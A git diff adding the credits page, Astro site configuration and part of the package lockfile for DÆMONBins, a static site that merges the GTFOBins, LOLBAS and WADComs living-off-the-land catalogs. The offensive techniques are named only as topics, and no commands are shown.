+DÆMONBins — the *Off-the-Land Almanac* — is a merged catalog built from three
+public, GPL-3.0-licensed living-off-the-land reference projects. Because all
+three upstreams are licensed under the **GNU General Public License v3.0**, the
+combined dataset and this site are a single **GPL-3.0** work. The full license
+text ships in [`LICENSE`](./LICENSE).
+
+Every technique row on the site shows its source, and every per-tool page links
+back to the upstream entry. The upstream repositories remain the canonical
+sources — please star them, contribute back, and report any inaccuracy upstream
+so the whole community benefits.
+
+The three upstreams are vendored under [`vendor/`](./vendor) (see
+[`scripts/setup-vendor.sh`](./scripts/setup-vendor.sh) to formalize them as
+submodules) and the normalized dataset is regenerated from them with
+`npm run data`.
+
+---
+
+## GTFOBins
+
+- **Project:** GTFOBins — Unix binaries that can be abused to bypass local
+ security restrictions.
+- **Homepage:** https://gtfobins.github.io/
+- **Source:** https://github.com/GTFOBins/GTFOBins.github.io
+- **Created by:** Emilio Pinna (@norbemi) and the GTFOBins contributors.
+- **License:** GNU GPL-3.0 (`vendor/gtfobins/LICENSE`).
+- **Vendored at commit:** `acd5246`.
+- **What was done here:** each full binary's `functions[fn][i]` examples are
+ expanded per context (`unprivileged` / `sudo` / `suid` / `capabilities`) into
+ individual technique rows; SUID/sudo/capabilities contexts additionally flag
+ Privilege Escalation; `inherit` entries resolve their `from:` binary to union
+ the inherited capabilities. Alias-only files are recorded as aliases on their
+ canonical tool. Function → capability and MITRE mappings follow
+ `_data/functions.yml`.
+
+## LOLBAS
+
+- **Project:** LOLBAS — Living Off The Land Binaries, Scripts and Libraries
+ (Windows).
+- **Homepage:** https://lolbas-project.github.io/
+- **Source:** https://github.com/LOLBAS-Project/LOLBAS
+- **Created by:** Oddvar Moe (@oddvarmoe) and the LOLBAS contributors.
+- **License:** GNU GPL-3.0 (`vendor/lolbas/LICENSE`).
+- **Vendored at commit:** `7aca936`.
+- **What was done here:** each `Commands[i]` becomes a technique row carrying its
+ Category → unified capability, `Full_Path`, `MitreID`, normalized privilege,
+ and the flattened `Detection` (Sigma / Splunk / Elastic / IOC / …). The
+ `HonorableMentions/` directory is skipped, matching upstream validation. The
+ 15-value Category enum is mapped verbatim to the unified capability vocabulary.
+
+## WADComs
+
+- **Project:** WADComs — an interactive index of offensive tools/commands for
+ Windows and Active Directory.
+- **Homepage:** https://wadcoms.github.io/
+- **Source:** https://github.com/WADComs/WADComs.github.io
+- **Created by:** John Woodman (@JohnWoodman15) and the WADComs contributors.
+- **License:** GNU GPL-3.0 (`vendor/wadcoms/LICENSE`).
+- **Vendored at commit:** `a864cd1`.
+- **What was done here:** the 100 upstream Jekyll entries are ingested verbatim;
+ each `attack_types` value maps to a unified capability while every original
+ label is kept in `nativeCategory`, `items`/`services` are preserved, and
+ Active Directory scope is derived from the services/items each entry declares.
+
+---
+
+## DÆMON additions
+
+Beyond the three upstreams, DÆMONBins includes original material authored here
+and contributed **under the same GPL-3.0**, keeping the collection a single
+GPL-3.0 work. These rows carry `source: "DAEMON"`, are badged **NEW**, and filter
+under **Source = DÆMON**:
+
+- **134 Windows / Active Directory additions** — modern tradecraft the 2020-era
+ WADComs snapshot lacked (AD CS / ESC abuse, coercion, modern Rubeus/Impacket
+ ticketing, noPac/pre2k, ntlmrelayx/krbrelayx, bloodyAD/DACL, PowerView/GPO,
+ mimikatz/DPAPI, potatoes, MSSQL, share hunting, offline cracking). Transcribed
+ and fact-checked; each carries canonical references.
+- **A modernization backlog** — genuinely-missing 2024–2026 living-off-the-land
+ techniques documented for detection and authorized testing, every one with a
+ real, publicly-documented command and a canonical reference. No fabricated
+ commands.
+
+Everything on the site is placeholder-only reference material (lab IPs,
+`test.local`, `john` / `password123`) in the same spirit as the upstreams and
+MITRE ATT&CK. For authorized testing, CTFs, detection engineering and education
+only.
+
+---
+
+## Build tooling
+
+The site is built with [Astro](https://astro.build) (MIT) and
+[Pagefind](https://pagefind.app) (MIT), themed with
+[Rosé Pine](https://rosepinetheme.com) (MIT), in the visual language of
+[daemon-sec.xyz](https://daemon-sec.xyz).
diff --git a/astro.config.mjs b/astro.config.mjs
@@ -0,0 +1,98 @@
+// @ts-check
+import { defineConfig } from 'astro/config';
+import mdx from '@astrojs/mdx';
+import sitemap from '@astrojs/sitemap';
+
+/**
+ * DÆMONBins is served as a GitHub Pages *project* page at
+ * https://daemon-404.github.io/daemon-sec-lotl/, so every internal link has
+ * to carry the `/daemon-sec-lotl` prefix. Astro-rendered links go through
+ * `src/lib/url.ts`'s `url()` helper; this rehype plugin catches the remaining
+ * case — root-absolute `/...` links and images written inside markdown/MDX
+ * prose (the Credits page, notes) — and rewrites them to include the base so
+ * they resolve under the sub-path. Leave `base` empty (and this becomes a
+ * no-op) for a user-root repo or a custom-domain CNAME.
+ */
+const BASE = '/daemon-sec-lotl';
+
+function rehypeBaseLinks() {
+ const prefix = BASE.replace(/\/$/, '');
+ const rewrite = (value) => {
+ if (typeof value !== 'string') return value;
+ // Only root-absolute, same-origin paths. Skip protocol-relative (//),
+ // anchors, and anything already under the base.
+ if (!value.startsWith('/') || value.startsWith('//')) return value;
+ if (prefix && (value === prefix || value.startsWith(prefix + '/'))) return value;
+ return prefix + value;
+ };
+ return (tree) => {
+ const walk = (node) => {
+ if (node.type === 'element') {
+ const p = node.properties || {};
+ if (node.tagName === 'a' && p.href) p.href = rewrite(p.href);
+ if ((node.tagName === 'img' || node.tagName === 'source') && p.src) p.src = rewrite(p.src);
+ }
+ if (node.children) for (const child of node.children) walk(child);
+ };
+ walk(tree);
+ };
+}
+
+/**
+ * The drop cap, matching the cheatsheet/main site: the opening letter of a
+ * prose block floated three lines deep in EB Garamond, split into a real
+ * `<span class="cap">` so it stays selectable and searchable.
+ */
+const CAP_MIN_CHARS = 80;
+function rehypeDropCap() {
+ function textLength(node) {
+ if (node.type === 'text') return node.value.trim().length;
+ if (!node.children) return 0;
+ return node.children.reduce((n, c) => n + textLength(c), 0);
+ }
+ function firstText(node) {
+ if (!node.children) return null;
+ for (const child of node.children) {
+ if (child.type === 'text' && child.value.trim()) return child;
+ if (child.type === 'element') {
+ const found = firstText(child);
+ if (found) return found;
+ }
+ }
+ return null;
+ }
+ return (tree) => {
+ const paragraph = tree.children.find(
+ (n) => n.type === 'element' && n.tagName === 'p' && textLength(n) >= CAP_MIN_CHARS,
+ );
+ if (!paragraph) return;
+ const lead = firstText(paragraph);
+ if (!lead) return;
+ const trimmed = lead.value.trimStart();
+ const letter = trimmed[0];
+ if (!letter || !/[A-Za-z0-9]/.test(letter)) return;
+ lead.value = trimmed.slice(1);
+ paragraph.children.unshift({
+ type: 'element',
+ tagName: 'span',
+ properties: { className: ['cap'] },
+ children: [{ type: 'text', value: letter }],
+ });
+ };
+}
+
+export default defineConfig({
+ site: 'https://daemon-404.github.io',
+ base: BASE,
+ trailingSlash: 'ignore',
+ integrations: [mdx(), sitemap()],
+ markdown: {
+ rehypePlugins: [rehypeBaseLinks, rehypeDropCap],
+ shikiConfig: {
+ // One theme in both modes — code blocks are dark plates everywhere, so
+ // there is no light listing to flip to (see prose.css).
+ theme: 'rose-pine-moon',
+ wrap: false,
+ },
+ },
+});
diff --git a/package-lock.json b/package-lock.json
@@ -0,0 +1,7104 @@
+{
+ "name": "daemon-sec-lotl",
+ "version": "1.0.0",
+ "lockfileVersion": 3,
+ "requires": true,
+ "packages": {
+ "": {
+ "name": "daemon-sec-lotl",
+ "version": "1.0.0",
+ "license": "GPL-3.0-or-later",
+ "dependencies": {
+ "@astrojs/mdx": "^4.2.0",
+ "@astrojs/sitemap": "^3.3.0",
+ "astro": "^5.6.0",
+ "sharp": "^0.35.4"
+ },
+ "devDependencies": {
+ "esbuild": "^0.25.0",
+ "github-slugger": "^2.0.0",
+ "js-yaml": "^4.1.0",
+ "pagefind": "^1.3.0",
+ "zod": "^3.24.0"
+ }
+ },
+ "node_modules/@astrojs/compiler": {
+ "version": "2.13.1",
+ "resolved": "https://registry.npmjs.org/@astrojs/compiler/-/compiler-2.13.1.tgz",
+ "integrity": "sha512-f3FN83d2G/v32ipNClRKgYv30onQlMZX1vCeZMjPsMMPl1mDpmbl0+N5BYo4S/ofzqJyS5hvwacEo0CCVDn/Qg==",
+ "license": "MIT"
+ },
+ "node_modules/@astrojs/internal-helpers": {
+ "version": "0.7.6",
+ "resolved": "https://registry.npmjs.org/@astrojs/internal-helpers/-/internal-helpers-0.7.6.tgz",
+ "integrity": "sha512-GOle7smBWKfMSP8osUIGOlB5kaHdQLV3foCsf+5Q9Wsuu+C6Fs3Ez/ttXmhjZ1HkSgsogcM1RXSjjOVieHq16Q==",
+ "license": "MIT"
+ },
+ "node_modules/@astrojs/markdown-remark": {
+ "version": "6.3.11",
+ "resolved": "https://registry.npmjs.org/@astrojs/markdown-remark/-/markdown-remark-6.3.11.tgz",
+ "integrity": "sha512-hcaxX/5aC6lQgHeGh1i+aauvSwIT6cfyFjKWvExYSxUhZZBBdvCliOtu06gbQyhbe0pGJNoNmqNlQZ5zYUuIyQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@astrojs/internal-helpers": "0.7.6",
+ "@astrojs/prism": "3.3.0",
+ "github-slugger": "^2.0.0",
+ "hast-util-from-html": "^2.0.3",
+ "hast-util-to-text": "^4.0.2",
+ "import-meta-resolve": "^4.2.0",
+ "js-yaml": "^4.1.1",
+ "mdast-util-definitions": "^6.0.0",
+ "rehype-raw": "^7.0.0",
+ "rehype-stringify": "^10.0.1",
+ "remark-gfm": "^4.0.1",
+ "remark-parse": "^11.0.0",
+ "remark-rehype": "^11.1.2",
+ "remark-smartypants": "^3.0.2",
+ "shiki": "^3.21.0",
+ "smol-toml": "^1.6.0",
+ "unified": "^11.0.5",
+ "unist-util-remove-position": "^5.0.0",
+ "unist-util-visit": "^5.0.0",
+ "unist-util-visit-parents": "^6.0.2",
+ "vfile": "^6.0.3"
+ }
+ },
+ "node_modules/@astrojs/mdx": {
+ "version": "4.3.14",
+ "resolved": "https://registry.npmjs.org/@astrojs/mdx/-/mdx-4.3.14.tgz",
+ "integrity": "sha512-FBrqJQORVm+rkRa2TS5CjU9PBA6hkhrwLVBSS9A77gN2+iehvjq1w6yya/d0YKC7osiVorKkr3Qd9wNbl0ZkGA==",
+ "license": "MIT",
+ "dependencies": {
+ "@astrojs/markdown-remark": "6.3.11",
+ "@mdx-js/mdx": "^3.1.1",
+ "acorn": "^8.15.0",
+ "es-module-lexer": "^1.7.0",
+ "estree-util-visit": "^2.0.0",
+ "hast-util-to-html": "^9.0.5",
+ "piccolore": "^0.1.3",
+ "rehype-raw": "^7.0.0",
+ "remark-gfm": "^4.0.1",
+ "remark-smartypants": "^3.0.2",
+ "source-map": "^0.7.6",
+ "unist-util-visit": "^5.0.0",
+ "vfile": "^6.0.3"
+ },
+ "engines": {
+ "node": "18.20.8 || ^20.3.0 || >=22.0.0"
+ },
+ "peerDependencies": {
+ "astro": "^5.0.0"
+ }
+ },
+ "node_modules/@astrojs/prism": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/@astrojs/prism/-/prism-3.3.0.tgz",
+ "integrity": "sha512-q8VwfU/fDZNoDOf+r7jUnMC2//H2l0TuQ6FkGJL8vD8nw/q5KiL3DS1KKBI3QhI9UQhpJ5dc7AtqfbXWuOgLCQ==",
+ "license": "MIT",
+ "dependencies": {
+ "prismjs": "^1.30.0"
+ },
+ "engines": {
+ "node": "18.20.8 || ^20.3.0 || >=22.0.0"
+ }
+ },
+ "node_modules/@astrojs/sitemap": {
+ "version": "3.7.4",
+ "resolved": "https://registry.npmjs.org/@astrojs/sitemap/-/sitemap-3.7.4.tgz",
+ "integrity": "sha512-LbKNC24bdUWcQf/pThB6qLlSqHojxGjZDURIzFocY8rlWnAn2t74nnhnK6S5x0NHriHoAduLEpVjRykmeGiVvA==",
+ "license": "MIT",
+ "dependencies": {
+ "sitemap": "^9.0.0",
+ "zod": "^4.3.6"
+ }
+ },
+ "node_modules/@astrojs/sitemap/node_modules/zod": {
+ "version": "4.5.4",
+ "resolved": "https://registry.npmjs.org/zod/-/zod-4.5.4.tgz",
+ "integrity": "sha512-sC95tT5iHHH9gtpj6A81kh+NEaRAUFN+qlUPDUbRfOMvNf5QCBqsb3WgvnpVtK5Y+4UfA6KqufotuTvMGiTlsA==",
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/colinhacks"
+ }
+ },
+ "node_modules/@astrojs/telemetry": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/@astrojs/telemetry/-/telemetry-3.3.0.tgz",
+ "integrity": "sha512-UFBgfeldP06qu6khs/yY+q1cDAaArM2/7AEIqQ9Cuvf7B1hNLq0xDrZkct+QoIGyjq56y8IaE2I3CTvG99mlhQ==",
+ "license": "MIT",
+ "dependencies": {
+ "ci-info": "^4.2.0",
+ "debug": "^4.4.0",
+ "dlv": "^1.1.3",
+ "dset": "^3.1.4",
+ "is-docker": "^3.0.0",
+ "is-wsl": "^3.1.0",
+ "which-pm-runs": "^1.1.0"
+ },
+ "engines": {
+ "node": "18.20.8 || ^20.3.0 || >=22.0.0"
+ }
+ },
+ "node_modules/@babel/helper-string-parser": {
+ "version": "7.29.7",
+ "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.29.7.tgz",
+ "integrity": "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-validator-identifier": {
+ "version": "7.29.7",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz",
+ "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/parser": {
+ "version": "7.29.8",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.8.tgz",
+ "integrity": "sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA==",
+ "license": "MIT",
+ "dependencies": {
+ "@babel/types": "^7.29.8"
+ },
+ "bin": {
+ "parser": "bin/babel-parser.js"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@babel/types": {
+ "version": "7.29.8",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.8.tgz",
+ "integrity": "sha512-Vj1jF3cPfxg7OAfoI7QnVKLoILlm2JF9pnVHrX8qx7AHMiYWT+NDAA7jChlNgRS4WTLc/fD1lXLmPixluj+3Gg==",
+ "license": "MIT",
+ "dependencies": {
+ "@babel/helper-string-parser": "^7.29.7",
+ "@babel/helper-validator-identifier": "^7.29.7"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@capsizecss/unpack": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/@capsizecss/unpack/-/unpack-4.0.1.tgz",
+ "integrity": "sha512-CuNiSqg7+e1cO/GjffyMOm5Tt2jUF9CWHHnvQ/UkqvtkGfHdgwEC0wpmq7fkN3gxwpRnrAN0WzO3vREKmNolMQ==",
+ "license": "MIT",
+ "dependencies": {
+ "fontkitten": "^1.0.3"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@emnapi/runtime": {
+ "version": "1.11.3",
+ "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.3.tgz",
+ "integrity": "sha512-Xz4Tpyki7XyrpbUK1jR1AhdAdaXyhhY4lZ3neLodmhpuWfy2PAQN5B46sAiU4liOXGLkHypn/qU+jvfWSCYYLA==",
+ "license": "MIT",
+ "optional": true,
+ "dependencies": {
+ "tslib": "^2.4.0"
+ }
+ },
+ "node_modules/@esbuild/aix-ppc64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",
+ "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "aix"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/android-arm": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",
+ "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==",
+ "cpu": [
+ "arm"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/android-arm64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",
+ "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/android-x64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",
+ "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/darwin-arm64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",
+ "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/darwin-x64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",
+ "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/freebsd-arm64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",
+ "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/freebsd-x64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",
+ "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-arm": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",
+ "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==",
+ "cpu": [
+ "arm"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-arm64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",
+ "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-ia32": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",
+ "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==",
+ "cpu": [
+ "ia32"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-loong64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",
+ "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==",
+ "cpu": [
+ "loong64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-mips64el": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",
+ "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==",
+ "cpu": [
+ "mips64el"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-ppc64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",
+ "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-riscv64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",
+ "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==",
+ "cpu": [
+ "riscv64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-s390x": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",
+ "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==",
+ "cpu": [
+ "s390x"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-x64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",
+ "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/netbsd-arm64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",
+ "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/netbsd-x64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",
+ "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/openbsd-arm64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",
+ "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/openbsd-x64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",
+ "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/openharmony-arm64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",
+ "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openharmony"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/sunos-x64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",
+ "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "sunos"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/win32-arm64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",
+ "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/win32-ia32": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",
+ "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==",
+ "cpu": [
+ "ia32"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
